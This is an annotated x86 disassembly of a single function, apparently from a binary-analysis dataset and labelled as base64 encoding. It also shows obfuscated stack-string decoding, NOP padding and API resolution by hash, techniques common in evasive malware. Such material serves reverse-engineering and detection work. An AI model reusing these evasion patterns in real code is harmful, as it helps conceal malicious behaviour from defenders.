Function at 0x42b383
Capabilities:
Encode data using base64

Disassembly:
mov dword [ebp - 0x6c], edi
mov dword [ebp - 0x90], eax
push eax
call fcn.00401930
add esp, 4
mov edx, dword [ebp - 0x68]
mov dword [edx], 0x835160b
mov dword [edx + 4], 0x1f021c1a
mov dword [edx + 8], 0x101c0cc2
mov dword [edx + 0xc], 0x71a0402
mov dword [edx + 0x10], 0x10251515
mov dword [edx + 0x14], 0x820c19
mov ecx, 0x5d387ea6
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx ebx, byte [edx + ecx - 0x5d387ea6]
mov esi, ecx
and esi, ebx
mov edi, esi
or edi, 0xfffffffd
inc edi
mov edx, esi
and edx, 0xfffffffd
imul edx, edi
mov edi, esi
and edi, 2
or esi, 2
imul esi, edi
add edx, ebx
sub edx, esi
add edx, ecx
mov esi, edx
not esi
and esi, 0x3f
and edx, 0xc0
sub edx, esi
inc dl
mov esi, dword [ebp - 0x68]
mov byte [esi + ecx - 0x5d387ea6], dl
mov edx, dword [ebp - 0x68]
inc ecx
cmp ecx, 0x5d387ebe
jne 0x42b3d0
push edx
push eax
call fcn.00401a70
add esp, 8
mov ecx, 0xffffffff
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp byte [eax + ecx + 1], 0
lea ecx, [ecx + 1]
jne 0x42b440
mov dword [ebp - 0x10], ecx
mov edx, dword [ebp - 0x10]
and edx, 0xfffffffc
mov ecx, dword [ebp - 0x10]
and ecx, 3
mov esi, dword [ebp - 0x10]
or esi, 3
imul esi, ecx
xor ecx, 3
imul ecx, edx
mov edx, dword [ebp - 0x10]
add esi, ecx
shr esi, 2
movzx ecx, byte [eax + edx - 1]
cmp ecx, 0x3d
je 0x42b47f
cmp ecx, 0x2e
jne 0x42b480
dec esi
movzx ecx, byte [eax + edx - 2]
cmp ecx, 0x3d
mov dword [ebp - 0x64], eax
je 0x42b492
cmp ecx, 0x2e
jne 0x42b493
dec esi
mov dword [ebp - 0x8c], esi
lea eax, [esi + 1]
push eax
call fcn.004082b0
add esp, 4
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x10], 0
je 0x42b58d
xor edx, edx
mov esi, 2
jmp 0x42b4d0
mov edx, dword [ebp - 0x74]
nop
nop
lea eax, [esi + 4]
add esi, 2
cmp esi, ecx
mov esi, eax
jae 0x42b58d
mov dword [ebp - 0x14], edx
mov edi, dword [ebp - 0x64]
movzx eax, byte [edi + esi - 2]
push eax
call fcn.0041fa40
add esp, 4
mov ebx, eax
movzx eax, byte [edi + esi - 1]
push eax
call fcn.0041fa40
mov ecx, dword [ebp - 0x10]
add esp, 4
mov bh, al
shl bl, 2
shr al, 4
and al, 3
or al, bl
mov edx, dword [ebp - 0x3c]
mov edi, dword [ebp - 0x14]
mov byte [edx + edi], al
lea edx, [edi + 1]
cmp esi, ecx
jae 0x42b4c0
mov eax, dword [ebp - 0x64]
movzx eax, byte [eax + esi]
push eax
mov edi, edx
call fcn.0041fa40
mov edx, edi
mov ecx, dword [ebp - 0x10]
add esp, 4
cmp al, 0x40
je 0x42b4c0
mov bl, al
shl bh, 4
shr al, 2
and al, 0xf
or al, bh
mov edi, dword [ebp - 0x14]
lea edx, [edi + 2]
mov dword [ebp - 0x74], edx
mov edx, dword [ebp - 0x3c]
mov byte [edx + edi + 1], al
lea eax, [esi + 1]
cmp eax, ecx
jae 0x42b4bb
mov eax, dword [ebp - 0x64]
movzx eax, byte [eax + esi + 1]
push eax
call fcn.0041fa40
mov ecx, dword [ebp - 0x10]
add esp, 4
cmp al, 0x40
mov edx, dword [ebp - 0x74]
je 0x42b4c0
shl bl, 6
add al, bl
mov edx, dword [ebp - 0x3c]
mov edi, dword [ebp - 0x14]
mov byte [edx + edi + 2], al
add edi, 3
mov edx, edi
jmp 0x42b4c0
mov eax, dword [ebp - 0x8c]
add eax, 0xfffffffb
mov esi, dword [ebp - 0x94]
mov dword [esi], eax
mov eax, dword [ebp - 0x3c]
add eax, 5
mov dword [esi + 4], eax
mov edi, dword [ebp - 0x50]
mov dword [edi], 0
mov dword [edi + 4], 0
push 0xe18a387a
push dword [0x44d068]
call fcn.0043f9a0
add esp, 8
push edi
push 0
push 0
push 0
push 0
push 0
push esi
call eax
xor ecx, ecx
test eax, eax
setne cl
jmp dword [ecx*4 + 0x447ff0]